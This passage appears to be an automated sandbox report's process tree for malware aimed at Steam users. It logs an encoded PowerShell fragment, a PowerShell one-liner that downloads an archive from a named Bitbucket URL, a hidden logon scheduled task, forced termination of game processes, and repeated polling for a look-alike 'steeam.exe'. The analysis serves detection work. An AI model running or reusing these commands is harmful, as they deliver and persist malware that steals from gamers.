BTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbgB6AHoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAdQBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwBpAGQAegAjAD4A"
3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3104

C:\Users\Admin\AppData\Roaming\lysewm5x.ir00.exe
"C:\Users\Admin\AppData\Roaming\lysewm5x.ir00.exe"
4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4532

C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\34A7.tmp\34A8.tmp\34A9.bat C:\Users\Admin\AppData\Roaming\lysewm5x.ir00.exe"
5⤵
- Suspicious use of WriteProcessMemory
PID:3860

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
PID:4256

C:\Windows\system32\chcp.com
chcp 1251
6⤵
PID:2184

C:\Windows\system32\findstr.exe
findstr /c:"127.0.0.1 store.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
6⤵
PID:2816

C:\Windows\system32\findstr.exe
findstr /c:"127.0.0.1 steamcommunity.com" "C:\Windows\System32\drivers\etc\hosts"
6⤵
PID:3476

C:\Windows\system32\findstr.exe
findstr /c:"127.0.0.1 help.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
6⤵
PID:1996

C:\Windows\system32\schtasks.exe
schtasks /query /tn "MyBatchScript"
6⤵
PID:1164

C:\Windows\system32\schtasks.exe
schtasks /create /tn "MyBatchScript" /tr "\"C:\Users\Admin\AppData\Roaming\runHidden.vbs\"" /sc onlogon /rl highest /f
6⤵
- Scheduled Task/Job: Scheduled Task
PID:3768

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
6⤵
- Suspicious use of WriteProcessMemory
PID:2000

C:\Windows\system32\reg.exe
reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
7⤵
PID:1752

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
6⤵
- Suspicious use of WriteProcessMemory
PID:4496

C:\Windows\system32\reg.exe
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
7⤵
PID:4448

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/k34gk349g34g3/56j56j5j56j/raw/0f83a68fcbec53d90c5d0c17a582d7652b840e57/lemon.rar', 'C:\Users\Admin\AppData\Local\Temp\downloaded_archive.rar')"
6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3872

C:\Windows\system32\tasklist.exe
tasklist
6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:5000

C:\Windows\system32\find.exe
find /i "tf_win64.exe"
6⤵
PID:2008

C:\Windows\system32\taskkill.exe
taskkill /f /im tf_win64.exe
6⤵
- Kills process with taskkill
PID:4388

C:\Windows\system32\tasklist.exe
tasklist
6⤵
- Enumerates processes with tasklist
PID:456

C:\Windows\system32\find.exe
find /i "dota2.exe"
6⤵
PID:4144

C:\Windows\system32\taskkill.exe
taskkill /f /im dota2.exe
6⤵
- Kills process with taskkill
PID:4044

C:\Windows\system32\tasklist.exe
tasklist
6⤵
- Enumerates processes with tasklist
PID:4868

C:\Windows\system32\find.exe
find /i "cs2.exe"
6⤵
PID:4968

C:\Windows\system32\taskkill.exe
taskkill /f /im cs2.exe
6⤵
- Kills process with taskkill
PID:4540

C:\Windows\system32\tasklist.exe
tasklist
6⤵
- Enumerates processes with tasklist
PID:5100

C:\Windows\system32\find.exe
find /i "RustClient.exe"
6⤵
PID:3536

C:\Windows\system32\taskkill.exe
taskkill /f /im RustClient.exe
6⤵
- Kills process with taskkill
PID:2280

C:\Windows\system32\tasklist.exe
tasklist
6⤵
- Enumerates processes with tasklist
PID:532

C:\Windows\system32\find.exe
find /i "GTA5.exe"
6⤵
PID:5888

C:\Windows\system32\taskkill.exe
taskkill /f /im GTA5.exe
6⤵
- Kills process with taskkill
PID:5380

C:\Windows\system32\tasklist.exe
tasklist
6⤵
- Enumerates processes with tasklist
PID:2212

C:\Windows\system32\find.exe
find /i "TslGame.exe"
6⤵
PID:4696

C:\Windows\system32\taskkill.exe
taskkill /f /im TslGame.exe
6⤵
- Kills process with taskkill
PID:4380

C:\Windows\system32\tasklist.exe
tasklist
6⤵
- Enumerates processes with tasklist
PID:4352

C:\Windows\system32\find.exe
find /i "RainbowSix.exe"
6⤵
PID:3884

C:\Windows\system32\taskkill.exe
taskkill /f /im RainbowSix.exe
6⤵
- Kills process with taskkill
PID:1900

C:\Windows\system32\timeout.exe
timeout /t 3
6⤵
- Delays execution with timeout.exe
PID:5528

C:\Windows\system32\tasklist.exe
tasklist
6⤵
- Enumerates processes with tasklist
PID:5044

C:\Windows\system32\find.exe
find /i "steam.exe"
6⤵
PID:4344

C:\Windows\system32\taskkill.exe
taskkill /f /im steam.exe
6⤵
- Kills process with taskkill
PID:5828

C:\Windows\system32\timeout.exe
timeout /t 3
6⤵
- Delays execution with timeout.exe
PID:4120

C:\Windows\system32\tar.exe
tar -xf "C:\Users\Admin\AppData\Local\Temp\downloaded_archive.rar" -C ""
6⤵
PID:2856

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:3056

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:1588

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:2196

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:3264

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:1836

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:2244

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5448

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:5912

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:3396

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:3496

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4176

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 4176 -s 196
8⤵
PID:6016

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:6096

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5496

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:1488

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6128

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:3476

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:772

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:1104

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:904

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:3380

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:2468

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5768

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:3188

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:2208

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:532

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:3208

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4696

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:3596

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5940

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5188

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5916

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:5820

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5528

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:2204

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:2016

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:5480

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:1988

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:3728

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5496

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:2900

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4628

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4620

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4148

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:1856

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:820

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:3532

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5972

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:5352

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5176

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5800

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:3772

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:1480

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4276

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:3480

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:1436

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:2884

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5484

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4108

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:2308

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:4904

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:3300

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5512

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6136

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:864

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:3416

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6084

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:3476

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:5612

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4788

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:3768

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:2000

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:5628

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5452

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:216

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4412

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:760

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5792

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4112

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:3816

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:3596

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:1896

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4824

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:2104

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:2776

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:2008

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4816

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:2376

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:2912

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5056

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:3620

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4108

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:4684

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4376

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5944

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4452

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:1104

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:1964

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4992

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5816

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:4008

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6100

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5440

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5192

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:5768

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5924

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:1940

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5216

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:3080

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4004

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:2852

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5352

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:1852

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:1108

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5000

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:2068

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:5020

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4192

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6096

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5528

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:560

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:1452

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5040

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4120

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:3700

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:1404

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5444

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4376

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:2812

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5816

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:3972

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:3568

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:2224

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:3204

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4416

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4988

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:4148

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:1860

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5912

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:1656

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:4112

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4568

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4004

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5080

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:4492

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:1720

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5976

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4300

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:4424

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5520

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:3620

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:2164

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:5012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5796

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:1588

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6080

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:5904

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:3544

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5472

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4388

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:1056

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:1408

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:644

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:3568

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:2468

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4468

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:924

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4628

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:5084

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:2056

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5912

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:2472

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:5568

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5940

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4860

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4176

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:1052

C:\Windows\system32\cmd.exe
